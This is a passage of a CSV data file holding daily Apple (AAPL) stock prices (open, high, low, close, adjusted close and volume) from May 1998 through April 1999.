-1998-05-04,1.03125,1.0535714626312256,1.03125,1.0379464626312256,0.9031181335449219,142786000.0,AAPL -1998-05-05,1.0446428060531616,1.0669642686843872,1.0401785373687744,1.0602678060531616,0.9225399494171143,104820800.0,AAPL -1998-05-06,1.0669642686843872,1.0870535373687744,1.0446428060531616,1.0825892686843872,0.9419620037078857,224252000.0,AAPL -1998-05-07,1.0915178060531616,1.09375,1.0669642686843872,1.078125,0.9380775690078735,138224800.0,AAPL -1998-05-08,1.0736607313156128,1.0892857313156128,1.0691964626312256,1.0870535373687744,0.9458465576171875,67704000.0,AAPL -1998-05-11,1.1026785373687744,1.1294642686843872,1.0982142686843872,1.1049107313156128,0.9613838195800781,166255600.0,AAPL -1998-05-12,1.0915178060531616,1.0982142686843872,1.0691964626312256,1.0758928060531616,0.9361354112625122,64453200.0,AAPL -1998-05-13,1.0736607313156128,1.1004464626312256,1.0580357313156128,1.0870535373687744,0.9458465576171875,78604400.0,AAPL -1998-05-14,1.0848214626312256,1.0870535373687744,1.0625,1.0736607313156128,0.9341931343078613,40670000.0,AAPL -1998-05-15,1.0736607313156128,1.0848214626312256,1.0446428060531616,1.0558035373687744,0.9186557531356812,68146400.0,AAPL -1998-05-18,1.0491071939468384,1.0558035373687744,1.0133928060531616,1.0178571939468384,0.8856388330459595,58097200.0,AAPL -1998-05-19,1.0334821939468384,1.0513392686843872,1.0290178060531616,1.0491071939468384,0.9128291010856628,54566400.0,AAPL -1998-05-20,1.0580357313156128,1.0669642686843872,1.0267857313156128,1.0558035373687744,0.9186557531356812,47544000.0,AAPL -1998-05-21,1.0558035373687744,1.0602678060531616,1.0223214626312256,1.03125,0.8972914814949036,32748800.0,AAPL -1998-05-22,1.0267857313156128,1.0267857313156128,0.9754464030265808,0.9955357313156128,0.8662167191505432,66648400.0,AAPL -1998-05-26,1.0022321939468384,1.0089285373687744,0.9508928656578064,0.953125,0.8293150067329407,77943600.0,AAPL -1998-05-27,0.9174107313156128,0.9575892686843872,0.9151785969734192,0.9553571343421936,0.8312572240829468,92548400.0,AAPL -1998-05-28,0.9553571343421936,0.9955357313156128,0.9553571343421936,0.9799107313156128,0.8526212573051453,74622800.0,AAPL -1998-05-29,0.9821428656578064,0.984375,0.9441964030265808,0.9508928656578064,0.8273728489875793,54180000.0,AAPL -1998-06-01,0.9464285969734192,0.9866071343421936,0.9151785969734192,0.9375,0.815719723701477,79923200.0,AAPL -1998-06-02,0.9441964030265808,0.9754464030265808,0.9285714030265808,0.9598214030265808,0.8351414203643799,44825200.0,AAPL -1998-06-03,0.96875,0.9732142686843872,0.9352678656578064,0.9397321343421936,0.8176618218421936,36285200.0,AAPL -1998-06-04,0.9508928656578064,0.9598214030265808,0.921875,0.9575892686843872,0.8331993222236633,39034800.0,AAPL -1998-06-05,0.9598214030265808,0.9732142686843872,0.9419642686843872,0.9598214030265808,0.8351414203643799,30830800.0,AAPL -1998-06-08,0.9642857313156128,0.9888392686843872,0.9575892686843872,0.9732142686843872,0.846794605255127,31656800.0,AAPL -1998-06-09,0.9776785969734192,1.0178571939468384,0.9776785969734192,1.0089285373687744,0.877869725227356,68936000.0,AAPL -1998-06-10,1.0,1.0357142686843872,0.9866071343421936,1.0022321939468384,0.8720430731773376,57307600.0,AAPL -1998-06-11,1.0066964626312256,1.0223214626312256,0.9933035969734192,0.9933035969734192,0.8642745018005371,45029600.0,AAPL -1998-06-12,0.9866071343421936,1.0089285373687744,0.9776785969734192,1.0044642686843872,0.873985230922699,55963600.0,AAPL -1998-06-15,0.9732142686843872,1.0089285373687744,0.9732142686843872,0.9821428656578064,0.8545634746551514,34165600.0,AAPL -1998-06-16,0.9888392686843872,1.0044642686843872,0.9754464030265808,1.0,0.8701008558273315,32421200.0,AAPL -1998-06-17,1.0,1.0200892686843872,0.9977678656578064,1.0044642686843872,0.873985230922699,46793600.0,AAPL -1998-06-18,0.9910714030265808,1.0022321939468384,0.9709821343421936,0.9754464030265808,0.8487366437911987,29999200.0,AAPL -1998-06-19,0.9776785969734192,0.9799107313156128,0.9553571343421936,0.9665178656578064,0.8409680724143982,34389600.0,AAPL -1998-06-22,0.9642857313156128,0.984375,0.9553571343421936,0.9776785969734192,0.8506789803504944,33642000.0,AAPL -1998-06-23,0.9799107313156128,1.0044642686843872,0.9732142686843872,0.9933035969734192,0.8642745018005371,57764000.0,AAPL -1998-06-24,0.9910714030265808,1.0223214626312256,0.9754464030265808,1.0089285373687744,0.877869725227356,68448800.0,AAPL -1998-06-25,1.0200892686843872,1.0290178060531616,1.0111607313156128,1.0200892686843872,0.8875807523727417,47952800.0,AAPL -1998-06-26,1.0178571939468384,1.0223214626312256,0.9910714030265808,1.0066964626312256,0.8759273886680603,27778800.0,AAPL -1998-06-29,1.0089285373687744,1.0290178060531616,1.0022321939468384,1.0245535373687744,0.8914650678634644,41546400.0,AAPL -1998-06-30,1.0223214626312256,1.0290178060531616,1.0044642686843872,1.0245535373687744,0.8914650678634644,32765600.0,AAPL -1998-07-01,1.03125,1.0714285373687744,1.0178571939468384,1.0691964626312256,0.930308997631073,78528800.0,AAPL -1998-07-02,1.0602678060531616,1.0736607313156128,1.0357142686843872,1.0357142686843872,0.9011759757995605,74527600.0,AAPL -1998-07-06,1.0535714626312256,1.0848214626312256,1.0401785373687744,1.0848214626312256,0.9439039826393127,67737600.0,AAPL -1998-07-07,1.0848214626312256,1.1026785373687744,1.0714285373687744,1.0892857313156128,0.947788655757904,60368000.0,AAPL -1998-07-08,1.0982142686843872,1.1763392686843872,1.0959821939468384,1.1629464626312256,1.0118807554244995,233203600.0,AAPL -1998-07-09,1.1763392686843872,1.2008928060531616,1.1227678060531616,1.1316964626312256,0.9846900701522827,141652000.0,AAPL -1998-07-10,1.1495535373687744,1.1651785373687744,1.1339285373687744,1.1450892686843872,0.9963434338569641,75630800.0,AAPL -1998-07-13,1.140625,1.21875,1.1383928060531616,1.2120535373687744,1.0546090602874756,178847200.0,AAPL -1998-07-14,1.2120535373687744,1.2142857313156128,1.1830357313156128,1.1941964626312256,1.0390715599060059,137132800.0,AAPL -1998-07-15,1.203125,1.2388392686843872,1.1964285373687744,1.2299107313156128,1.0701465606689453,148741600.0,AAPL -1998-07-16,1.3526785373687744,1.3616071939468384,1.2767857313156128,1.3392857313156128,1.165313959121704,640337600.0,AAPL -1998-07-17,1.3303571939468384,1.3303571939468384,1.2924107313156128,1.3169642686843872,1.145891547203064,157388000.0,AAPL -1998-07-20,1.3058035373687744,1.3080357313156128,1.2678571939468384,1.2946428060531616,1.1264700889587402,95972800.0,AAPL -1998-07-21,1.2901785373687744,1.3214285373687744,1.2700892686843872,1.2723214626312256,1.1070477962493896,82376000.0,AAPL -1998-07-22,1.2477678060531616,1.2723214626312256,1.2232142686843872,1.25,1.0876262187957764,70182000.0,AAPL -1998-07-23,1.2433035373687744,1.2723214626312256,1.2410714626312256,1.2477678060531616,1.0856841802597046,63282800.0,AAPL -1998-07-24,1.2633928060531616,1.2678571939468384,1.2075892686843872,1.2388392686843872,1.0779153108596802,67821600.0,AAPL -1998-07-27,1.2232142686843872,1.2455357313156128,1.1875,1.2299107313156128,1.0701465606689453,53558400.0,AAPL -1998-07-28,1.2165178060531616,1.2366071939468384,1.1785714626312256,1.2008928060531616,1.0448979139328003,56344400.0,AAPL -1998-07-29,1.2053571939468384,1.28125,1.203125,1.2544642686843872,1.0915106534957886,111930000.0,AAPL -1998-07-30,1.2790178060531616,1.3125,1.2678571939468384,1.3035714626312256,1.134238839149475,90574400.0,AAPL -1998-07-31,1.3080357313156128,1.3125,1.2321428060531616,1.2366071939468384,1.0759729146957397,45777200.0,AAPL -1998-08-03,1.2232142686843872,1.2700892686843872,1.1875,1.2544642686843872,1.0915106534957886,75440400.0,AAPL -1998-08-04,1.2678571939468384,1.2857142686843872,1.2142857313156128,1.2209821939468384,1.0623778104782104,73480400.0,AAPL -1998-08-05,1.2053571939468384,1.2857142686843872,1.1964285373687744,1.2857142686843872,1.1187011003494263,113520400.0,AAPL -1998-08-06,1.2522321939468384,1.3169642686843872,1.2455357313156128,1.3169642686843872,1.145891547203064,109653600.0,AAPL -1998-08-07,1.328125,1.3348214626312256,1.2857142686843872,1.3035714626312256,1.134238839149475,74505200.0,AAPL -1998-08-10,1.296875,1.359375,1.2946428060531616,1.3549107313156128,1.1789089441299438,122150000.0,AAPL -1998-08-11,1.3482142686843872,1.4642857313156128,1.3348214626312256,1.3928571939468384,1.2119262218475342,439868800.0,AAPL -1998-08-12,1.4196428060531616,1.4620535373687744,1.41015625,1.4308035373687744,1.244943380355835,172443600.0,AAPL -1998-08-13,1.4263392686843872,1.4553571939468384,1.40625,1.4084821939468384,1.2255216836929321,97694800.0,AAPL -1998-08-14,1.453125,1.4553571939468384,1.4107142686843872,1.4464285373687744,1.2585391998291016,112694400.0,AAPL -1998-08-17,1.4642857313156128,1.5290178060531616,1.4241071939468384,1.4977678060531616,1.3032090663909912,232719200.0,AAPL -1998-08-18,1.515625,1.5491071939468384,1.5089285373687744,1.5200892686843872,1.3226310014724731,151488400.0,AAPL -1998-08-19,1.5535714626312256,1.5625,1.4642857313156128,1.4642857313156128,1.274076223373413,121497600.0,AAPL -1998-08-20,1.4642857313156128,1.46875,1.4375,1.4508928060531616,1.2624232769012451,97980400.0,AAPL -1998-08-21,1.4285714626312256,1.5558035373687744,1.3928571939468384,1.5357142686843872,1.3362265825271606,203344400.0,AAPL -1998-08-24,1.5513392686843872,1.5535714626312256,1.4330357313156128,1.4709821939468384,1.2799030542373657,152544000.0,AAPL -1998-08-25,1.5133928060531616,1.5133928060531616,1.4397321939468384,1.4575892686843872,1.2682501077651978,123891600.0,AAPL -1998-08-26,1.4241071939468384,1.46875,1.4107142686843872,1.4419642686843872,1.2546544075012207,101620400.0,AAPL -1998-08-27,1.4017857313156128,1.4017857313156128,1.2723214626312256,1.3392857313156128,1.165313959121704,278560800.0,AAPL -1998-08-28,1.3258928060531616,1.375,1.21875,1.2209821939468384,1.0623778104782104,233063600.0,AAPL -1998-08-31,1.2410714626312256,1.2455357313156128,1.1071428060531616,1.1138392686843872,0.9691525101661682,217056000.0,AAPL -1998-09-01,1.1205357313156128,1.2633928060531616,1.09375,1.21875,1.0604356527328491,217268800.0,AAPL -1998-09-02,1.2678571939468384,1.3348214626312256,1.2589285373687744,1.2700892686843872,1.105105996131897,210750400.0,AAPL -1998-09-03,1.25,1.2544642686843872,1.2142857313156128,1.2366071939468384,1.0759729146957397,102438000.0,AAPL -1998-09-04,1.2678571939468384,1.3013392686843872,1.2053571939468384,1.2544642686843872,1.0915106534957886,94318000.0,AAPL -1998-09-08,1.3571428060531616,1.3660714626312256,1.3125,1.3660714626312256,1.1886197328567505,100699200.0,AAPL -1998-09-09,1.359375,1.3616071939468384,1.3214285373687744,1.3348214626312256,1.1614291667938232,88673200.0,AAPL -1998-09-10,1.2946428060531616,1.3660714626312256,1.2767857313156128,1.3616071939468384,1.1847355365753174,131720400.0,AAPL -1998-09-11,1.375,1.4151785373687744,1.3169642686843872,1.34375,1.1691983938217163,88071200.0,AAPL -1998-09-14,1.3660714626312256,1.3861607313156128,1.3258928060531616,1.328125,1.1556029319763184,61768000.0,AAPL -1998-09-15,1.3125,1.3772321939468384,1.3035714626312256,1.3638392686843872,1.1866776943206787,108413200.0,AAPL -1998-09-16,1.3794642686843872,1.3839285373687744,1.3214285373687744,1.3325892686843872,1.1594871282577515,64719200.0,AAPL -1998-09-17,1.2879464626312256,1.3258928060531616,1.28125,1.2857142686843872,1.1187011003494263,67323200.0,AAPL -1998-09-18,1.2879464626312256,1.3125,1.2700892686843872,1.3125,1.14200758934021,76269200.0,AAPL -1998-09-21,1.2745535373687744,1.3191964626312256,1.2611607313156128,1.3191964626312256,1.1478339433670044,73967600.0,AAPL -1998-09-22,1.3258928060531616,1.34375,1.2991071939468384,1.3214285373687744,1.1497761011123657,64484000.0,AAPL -1998-09-23,1.3303571939468384,1.3705357313156128,1.3058035373687744,1.3683035373687744,1.1905618906021118,71979600.0,AAPL -1998-09-24,1.3526785373687744,1.4129464626312256,1.3482142686843872,1.375,1.1963889598846436,120710800.0,AAPL -1998-09-25,1.3638392686843872,1.3995535373687744,1.34375,1.3839285373687744,1.2041573524475098,57072400.0,AAPL -1998-09-28,1.4196428060531616,1.4352678060531616,1.3571428060531616,1.3950892686843872,1.2138687372207642,101354400.0,AAPL -1998-09-29,1.3950892686843872,1.4285714626312256,1.3616071939468384,1.4107142686843872,1.227463722229004,76283200.0,AAPL -1998-09-30,1.3839285373687744,1.4017857313156128,1.3571428060531616,1.3616071939468384,1.1847355365753174,41795600.0,AAPL -1998-10-01,1.3125,1.3571428060531616,1.2633928060531616,1.2745535373687744,1.1089904308319092,92554000.0,AAPL -1998-10-02,1.2678571939468384,1.2946428060531616,1.21875,1.2522321939468384,1.089568018913269,118893600.0,AAPL -1998-10-05,1.2142857313156128,1.234375,1.125,1.1495535373687744,1.0002275705337524,137970000.0,AAPL -1998-10-06,1.203125,1.2254464626312256,1.1607142686843872,1.1629464626312256,1.0118807554244995,99965600.0,AAPL -1998-10-07,1.15625,1.1897321939468384,1.1383928060531616,1.140625,0.9924589395523071,118339200.0,AAPL -1998-10-08,1.1071428060531616,1.1138392686843872,1.0178571939468384,1.1004464626312256,0.9574993848800659,172303600.0,AAPL -1998-10-09,1.1339285373687744,1.2589285373687744,1.0982142686843872,1.2544642686843872,1.0915106534957886,167059200.0,AAPL -1998-10-12,1.3392857313156128,1.3727678060531616,1.3058035373687744,1.3370535373687744,1.163371205329895,155724800.0,AAPL -1998-10-13,1.359375,1.3995535373687744,1.2857142686843872,1.3839285373687744,1.2041573524475098,235407200.0,AAPL -1998-10-14,1.4196428060531616,1.4754464626312256,1.3147321939468384,1.3348214626312256,1.1614291667938232,570004400.0,AAPL -1998-10-15,1.2946428060531616,1.3303571939468384,1.2678571939468384,1.3080357313156128,1.1381230354309082,210168000.0,AAPL -1998-10-16,1.3258928060531616,1.359375,1.3035714626312256,1.3102678060531616,1.1400649547576904,153890800.0,AAPL -1998-10-19,1.3102678060531616,1.359375,1.28125,1.3392857313156128,1.165313959121704,118944000.0,AAPL -1998-10-20,1.3549107313156128,1.3638392686843872,1.2857142686843872,1.2879464626312256,1.1206430196762085,95522000.0,AAPL -1998-10-21,1.3125,1.3370535373687744,1.2767857313156128,1.3258928060531616,1.1536606550216675,107654400.0,AAPL -1998-10-22,1.3169642686843872,1.34375,1.2946428060531616,1.3125,1.14200758934021,79343600.0,AAPL -1998-10-23,1.3125,1.3169642686843872,1.2544642686843872,1.2678571939468384,1.1031638383865356,88995200.0,AAPL -1998-10-26,1.2879464626312256,1.3482142686843872,1.2678571939468384,1.3370535373687744,1.163371205329895,118960800.0,AAPL -1998-10-27,1.3571428060531616,1.390625,1.2522321939468384,1.2589285373687744,1.0953949689865112,134548400.0,AAPL -1998-10-28,1.2589285373687744,1.3214285373687744,1.2544642686843872,1.3147321939468384,1.1439496278762817,90927200.0,AAPL -1998-10-29,1.3013392686843872,1.3370535373687744,1.2790178060531616,1.3013392686843872,1.1322966814041138,86144800.0,AAPL -1998-10-30,1.3147321939468384,1.3392857313156128,1.2946428060531616,1.3258928060531616,1.1536606550216675,79410800.0,AAPL -1998-11-02,1.3392857313156128,1.3482142686843872,1.3303571939468384,1.34375,1.1691983938217163,63442400.0,AAPL -1998-11-03,1.3348214626312256,1.3660714626312256,1.3325892686843872,1.3504464626312256,1.1750246286392212,92612800.0,AAPL -1998-11-04,1.3772321939468384,1.3973214626312256,1.3616071939468384,1.3816964626312256,1.2022154331207275,156970800.0,AAPL -1998-11-05,1.3705357313156128,1.40625,1.359375,1.3638392686843872,1.1866776943206787,151779600.0,AAPL -1998-11-06,1.3526785373687744,1.3660714626312256,1.3303571939468384,1.359375,1.1827938556671143,199334800.0,AAPL -1998-11-09,1.3459821939468384,1.3616071939468384,1.2678571939468384,1.3080357313156128,1.1381230354309082,165197200.0,AAPL -1998-11-10,1.2924107313156128,1.2946428060531616,1.25,1.2544642686843872,1.0915106534957886,220995600.0,AAPL -1998-11-11,1.2767857313156128,1.2790178060531616,1.1696428060531616,1.1986607313156128,1.042955756187439,237126400.0,AAPL -1998-11-12,1.1830357313156128,1.2299107313156128,1.1741071939468384,1.2142857313156128,1.0565510988235474,148775200.0,AAPL -1998-11-13,1.2477678060531616,1.2879464626312256,1.2388392686843872,1.2745535373687744,1.1089904308319092,197954400.0,AAPL -1998-11-16,1.2834821939468384,1.3125,1.265625,1.2857142686843872,1.1187011003494263,96132400.0,AAPL -1998-11-17,1.2767857313156128,1.2790178060531616,1.2410714626312256,1.2433035373687744,1.0817996263504028,52682000.0,AAPL -1998-11-18,1.2566964626312256,1.2857142686843872,1.2455357313156128,1.265625,1.1012217998504639,82415200.0,AAPL -1998-11-19,1.2678571939468384,1.328125,1.265625,1.2767857313156128,1.1109328269958496,86632000.0,AAPL -1998-11-20,1.3013392686843872,1.3125,1.2410714626312256,1.2611607313156128,1.0973368883132935,99806000.0,AAPL -1998-11-23,1.2700892686843872,1.3147321939468384,1.2566964626312256,1.2946428060531616,1.1264700889587402,144488400.0,AAPL -1998-11-24,1.2901785373687744,1.3125,1.2767857313156128,1.2834821939468384,1.1167588233947754,79937200.0,AAPL -1998-11-25,1.28125,1.2879464626312256,1.2477678060531616,1.2544642686843872,1.0915106534957886,75950000.0,AAPL -1998-11-27,1.2522321939468384,1.2544642686843872,1.2410714626312256,1.2522321939468384,1.089568018913269,38276000.0,AAPL -1998-11-30,1.234375,1.2433035373687744,1.1339285373687744,1.140625,0.9924589395523071,140372400.0,AAPL -1998-12-01,1.1428571939468384,1.2433035373687744,1.1294642686843872,1.21875,1.0604356527328491,216434400.0,AAPL -1998-12-02,1.21875,1.3169642686843872,1.1964285373687744,1.2857142686843872,1.1187011003494263,240620800.0,AAPL -1998-12-03,1.296875,1.3035714626312256,1.2008928060531616,1.203125,1.0468404293060303,156511600.0,AAPL -1998-12-04,1.2254464626312256,1.2299107313156128,1.1428571939468384,1.1696428060531616,1.0177072286605835,180342400.0,AAPL -1998-12-07,1.1919642686843872,1.2053571939468384,1.1696428060531616,1.2053571939468384,1.0487821102142334,141649200.0,AAPL -1998-12-08,1.2120535373687744,1.2120535373687744,1.1428571939468384,1.1450892686843872,0.9963434338569641,170027200.0,AAPL -1998-12-09,1.1674107313156128,1.1741071939468384,1.1294642686843872,1.1428571939468384,0.9944009780883789,148229200.0,AAPL -1998-12-10,1.1674107313156128,1.1763392686843872,1.1383928060531616,1.1428571939468384,0.9944009780883789,97812400.0,AAPL -1998-12-11,1.1517857313156128,1.2142857313156128,1.1428571939468384,1.2053571939468384,1.0487821102142334,172499600.0,AAPL -1998-12-14,1.1741071939468384,1.1897321939468384,1.1517857313156128,1.1607142686843872,1.0099385976791382,125361600.0,AAPL -1998-12-15,1.1696428060531616,1.2008928060531616,1.1696428060531616,1.1986607313156128,1.042955756187439,66178000.0,AAPL -1998-12-16,1.2053571939468384,1.2209821939468384,1.1651785373687744,1.171875,1.019649624824524,93587200.0,AAPL -1998-12-17,1.1763392686843872,1.2053571939468384,1.1696428060531616,1.1941964626312256,1.0390715599060059,82653200.0,AAPL -1998-12-18,1.1919642686843872,1.2633928060531616,1.1875,1.2566964626312256,1.093453049659729,197873200.0,AAPL -1998-12-21,1.2633928060531616,1.2723214626312256,1.2232142686843872,1.2522321939468384,1.089568018913269,89362000.0,AAPL -1998-12-22,1.2991071939468384,1.3616071939468384,1.2857142686843872,1.3571428060531616,1.1808511018753052,287700000.0,AAPL -1998-12-23,1.3794642686843872,1.4464285373687744,1.3705357313156128,1.421875,1.2371745109558105,308758800.0,AAPL -1998-12-24,1.4241071939468384,1.4285714626312256,1.3995535373687744,1.4017857313156128,1.2196950912475586,49996800.0,AAPL -1998-12-28,1.3928571939468384,1.46875,1.3928571939468384,1.4598214626312256,1.27019202709198,181328000.0,AAPL -1998-12-29,1.46875,1.4821428060531616,1.4375,1.4575892686843872,1.2682501077651978,96838000.0,AAPL -1998-12-30,1.4330357313156128,1.46875,1.4285714626312256,1.4308035373687744,1.244943380355835,59340400.0,AAPL -1998-12-31,1.4464285373687744,1.4776785373687744,1.4107142686843872,1.4620535373687744,1.2721341848373413,67922400.0,AAPL -1999-01-04,1.5044642686843872,1.5089285373687744,1.4285714626312256,1.4732142686843872,1.2818450927734375,238221200.0,AAPL -1999-01-05,1.4977678060531616,1.5691964626312256,1.4821428060531616,1.546875,1.3459373712539673,352528400.0,AAPL -1999-01-06,1.5758928060531616,1.5758928060531616,1.4642857313156128,1.4910714626312256,1.2973827123641968,337142400.0,AAPL -1999-01-07,1.5089285373687744,1.609375,1.5044642686843872,1.6071428060531616,1.3983768224716187,357254800.0,AAPL -1999-01-08,1.6629464626312256,1.6741071939468384,1.5714285373687744,1.6071428060531616,1.3983768224716187,169708000.0,AAPL -1999-01-11,1.6339285373687744,1.6450892686843872,1.6026785373687744,1.6383928060531616,1.4255672693252563,140243600.0,AAPL -1999-01-12,1.6540178060531616,1.6651785373687744,1.5758928060531616,1.6473214626312256,1.433335781097412,205184000.0,AAPL -1999-01-13,1.53125,1.6897321939468384,1.5089285373687744,1.6607142686843872,1.4449890851974487,261954000.0,AAPL -1999-01-14,1.625,1.6428571939468384,1.4665178060531616,1.4776785373687744,1.2857294082641602,430964800.0,AAPL -1999-01-15,1.4933035373687744,1.5044642686843872,1.4285714626312256,1.4754464626312256,1.283787488937378,251501600.0,AAPL -1999-01-19,1.4977678060531616,1.5111607313156128,1.4419642686843872,1.4598214626312256,1.27019202709198,133722400.0,AAPL -1999-01-20,1.4665178060531616,1.5,1.4464285373687744,1.4486607313156128,1.2604809999465942,194530000.0,AAPL -1999-01-21,1.4441964626312256,1.4486607313156128,1.3392857313156128,1.3861607313156128,1.2060996294021606,150122000.0,AAPL -1999-01-22,1.3459821939468384,1.4107142686843872,1.3236607313156128,1.3839285373687744,1.2041573524475098,86441600.0,AAPL -1999-01-25,1.4017857313156128,1.4129464626312256,1.3861607313156128,1.40625,1.2235792875289917,96334000.0,AAPL -1999-01-26,1.4263392686843872,1.4598214626312256,1.4151785373687744,1.4464285373687744,1.2585391998291016,140011200.0,AAPL -1999-01-27,1.4642857313156128,1.4776785373687744,1.4263392686843872,1.4330357313156128,1.2468856573104858,91238000.0,AAPL -1999-01-28,1.4598214626312256,1.4732142686843872,1.4397321939468384,1.4598214626312256,1.27019202709198,84070000.0,AAPL -1999-01-29,1.4709821939468384,1.484375,1.4285714626312256,1.4709821939468384,1.2799030542373657,60678800.0,AAPL -1999-02-01,1.4888392686843872,1.4977678060531616,1.4397321939468384,1.4620535373687744,1.2721341848373413,69728400.0,AAPL -1999-02-02,1.4419642686843872,1.4553571939468384,1.3928571939468384,1.3995535373687744,1.2177529335021973,76790000.0,AAPL -1999-02-03,1.3928571939468384,1.4486607313156128,1.3839285373687744,1.4352678060531616,1.2488276958465576,84686000.0,AAPL -1999-02-04,1.4352678060531616,1.4375,1.3482142686843872,1.3526785373687744,1.1769667863845825,115945200.0,AAPL -1999-02-05,1.3660714626312256,1.3705357313156128,1.2678571939468384,1.296875,1.1284126043319702,194300400.0,AAPL -1999-02-08,1.3102678060531616,1.3549107313156128,1.2946428060531616,1.3482142686843872,1.1730823516845703,117056800.0,AAPL -1999-02-09,1.3549107313156128,1.3950892686843872,1.3236607313156128,1.328125,1.1556029319763184,175288400.0,AAPL -1999-02-10,1.3169642686843872,1.3816964626312256,1.2857142686843872,1.3683035373687744,1.1905618906021118,140907200.0,AAPL -1999-02-11,1.3839285373687744,1.4196428060531616,1.3772321939468384,1.4151785373687744,1.2313480377197266,141299200.0,AAPL -1999-02-12,1.3973214626312256,1.3973214626312256,1.3214285373687744,1.3459821939468384,1.171140193939209,107226000.0,AAPL -1999-02-16,1.3883928060531616,1.3883928060531616,1.3526785373687744,1.3683035373687744,1.1905618906021118,75056800.0,AAPL -1999-02-17,1.3616071939468384,1.3816964626312256,1.3191964626312256,1.3214285373687744,1.1497761011123657,74015200.0,AAPL -1999-02-18,1.3415178060531616,1.3526785373687744,1.2700892686843872,1.2857142686843872,1.1187011003494263,125042400.0,AAPL -1999-02-19,1.2946428060531616,1.3459821939468384,1.2924107313156128,1.328125,1.1556029319763184,90423200.0,AAPL -1999-02-22,1.3348214626312256,1.3883928060531616,1.3303571939468384,1.3727678060531616,1.1944464445114136,74667600.0,AAPL -1999-02-23,1.3772321939468384,1.4129464626312256,1.3549107313156128,1.3727678060531616,1.1944464445114136,80544800.0,AAPL -1999-02-24,1.3861607313156128,1.3928571939468384,1.3348214626312256,1.3370535373687744,1.163371205329895,53188800.0,AAPL -1999-02-25,1.3325892686843872,1.3459821939468384,1.3035714626312256,1.3191964626312256,1.1478339433670044,66150000.0,AAPL -1999-02-26,1.3035714626312256,1.3214285373687744,1.2321428060531616,1.2433035373687744,1.0817996263504028,166812800.0,AAPL -1999-03-01,1.2433035373687744,1.2433035373687744,1.2008928060531616,1.2053571939468384,1.0487821102142334,121956800.0,AAPL -1999-03-02,1.21875,1.2611607313156128,1.2053571939468384,1.2366071939468384,1.0759729146957397,170763600.0,AAPL -1999-03-03,1.2410714626312256,1.2544642686843872,1.1964285373687744,1.2209821939468384,1.0623778104782104,73337600.0,AAPL -1999-03-04,1.2321428060531616,1.2321428060531616,1.15625,1.1941964626312256,1.0390715599060059,91817600.0,AAPL -1999-03-05,1.2254464626312256,1.2254464626312256,1.15625,1.1852678060531616,1.031302809715271,117009200.0,AAPL -1999-03-08,1.1875,1.2388392686843872,1.1852678060531616,1.2276785373687744,1.0682041645050049,137667600.0,AAPL -1999-03-09,1.2254464626312256,1.2276785373687744,1.1964285373687744,1.21875,1.0604356527328491,79923200.0,AAPL -1999-03-10,1.2209821939468384,1.2209821939468384,1.1584821939468384,1.1629464626312256,1.0118807554244995,136570000.0,AAPL -1999-03-11,1.1517857313156128,1.2098214626312256,1.1428571939468384,1.1495535373687744,1.0002275705337524,118414800.0,AAPL -1999-03-12,1.1540178060531616,1.1964285373687744,1.1540178060531616,1.1852678060531616,1.031302809715271,67849600.0,AAPL -1999-03-15,1.1897321939468384,1.25,1.1875,1.2165178060531616,1.0584933757781982,88040400.0,AAPL -1999-03-16,1.25,1.2700892686843872,1.2477678060531616,1.2678571939468384,1.1031638383865356,99957200.0,AAPL -1999-03-17,1.2834821939468384,1.2879464626312256,1.2120535373687744,1.2165178060531616,1.0584933757781982,91579600.0,AAPL -1999-03-18,1.2276785373687744,1.2723214626312256,1.2232142686843872,1.2678571939468384,1.1031638383865356,56770000.0,AAPL -1999-03-19,1.2834821939468384,1.2857142686843872,1.1741071939468384,1.1964285373687744,1.0410133600234985,134125600.0,AAPL -1999-03-22,1.2142857313156128,1.2566964626312256,1.1763392686843872,1.2522321939468384,1.089568018913269,148402800.0,AAPL -1999-03-23,1.2299107313156128,1.2299107313156128,1.1696428060531616,1.1785714626312256,1.0254758596420288,103888400.0,AAPL -1999-03-24,1.1875,1.2053571939468384,1.1607142686843872,1.203125,1.0468404293060303,100038400.0,AAPL -1999-03-25,1.2276785373687744,1.2455357313156128,1.1919642686843872,1.2075892686843872,1.0507243871688843,99990800.0,AAPL -1999-03-26,1.2053571939468384,1.2075892686843872,1.1785714626312256,1.1875,1.0332449674606323,63459200.0,AAPL -1999-03-29,1.1964285373687744,1.265625,1.1941964626312256,1.2633928060531616,1.0992792844772339,142217600.0,AAPL -1999-03-30,1.25,1.2991071939468384,1.25,1.28125,1.1148170232772827,138630800.0,AAPL -1999-03-31,1.2991071939468384,1.3258928060531616,1.28125,1.2834821939468384,1.1167588233947754,105588000.0,AAPL -1999-04-01,1.2879464626312256,1.3102678060531616,1.2767857313156128,1.2879464626312256,1.1206430196762085,65514400.0,AAPL -1999-04-05,1.2857142686843872,1.3526785373687744,1.2857142686843872,1.3236607313156128,1.1517186164855957,115234000.0,AAPL -1999-04-06,1.3147321939468384,1.3683035373687744,1.3147321939468384,1.3571428060531616,1.1808511018753052,157147200.0,AAPL -1999-04-07,1.359375,1.3660714626312256,1.2991071939468384,1.3258928060531616,1.1536606550216675,102953200.0,AAPL -1999-04-08,1.3169642686843872,1.3236607313156128,1.2857142686843872,1.3169642686843872,1.145891547203064,74102000.0,AAPL -1999-04-09,1.2946428060531616,1.3303571939468384,1.2834821939468384,1.3125,1.14200758934021,67135600.0,AAPL -1999-04-12,1.25,1.3169642686843872,1.2455357313156128,1.2946428060531616,1.1264700889587402,98954800.0,AAPL -1999-04-13,1.296875,1.3147321939468384,1.2321428060531616,1.2366071939468384,1.0759729146957397,103096000.0,AAPL -1999-04-14,1.2589285373687744,1.3236607313156128,1.25,1.2689732313156128,1.1041347980499268,170256800.0,AAPL -1999-04-15,1.2633928060531616,1.2924107313156128,1.2254464626312256,1.2767857313156128,1.1109328269958496,433619200.0,AAPL -1999-04-16,1.28125,1.2879464626312256,1.2589285373687744,1.265625,1.1012217998504639,125554800.0,AAPL -1999-04-19,1.2745535373687744,1.2857142686843872,1.1964285373687744,1.2098214626312256,1.0526667833328247,230454000.0,AAPL -1999-04-20,1.2098214626312256,1.2410714626312256,1.1964285373687744,1.2165178060531616,1.0584933757781982,130964400.0,AAPL -1999-04-21,1.2142857313156128,1.2276785373687744,1.1964285373687744,1.2276785373687744,1.0682041645050049,87850000.0,AAPL -1999-04-22,1.2522321939468384,1.3080357313156128,1.2522321939468384,1.2991071939468384,1.1303541660308838,185043600.0,AAPL -1999-04-23,1.2946428060531616,1.4084821939468384,1.2946428060531616,1.3995535373687744,1.2177529335021973,261710400.0,AAPL -1999-04-26,1.4107142686843872,1.4732142686843872,1.4017857313156128,1.4620535373687744,1.2721341848373413,231982800.0,AAPL 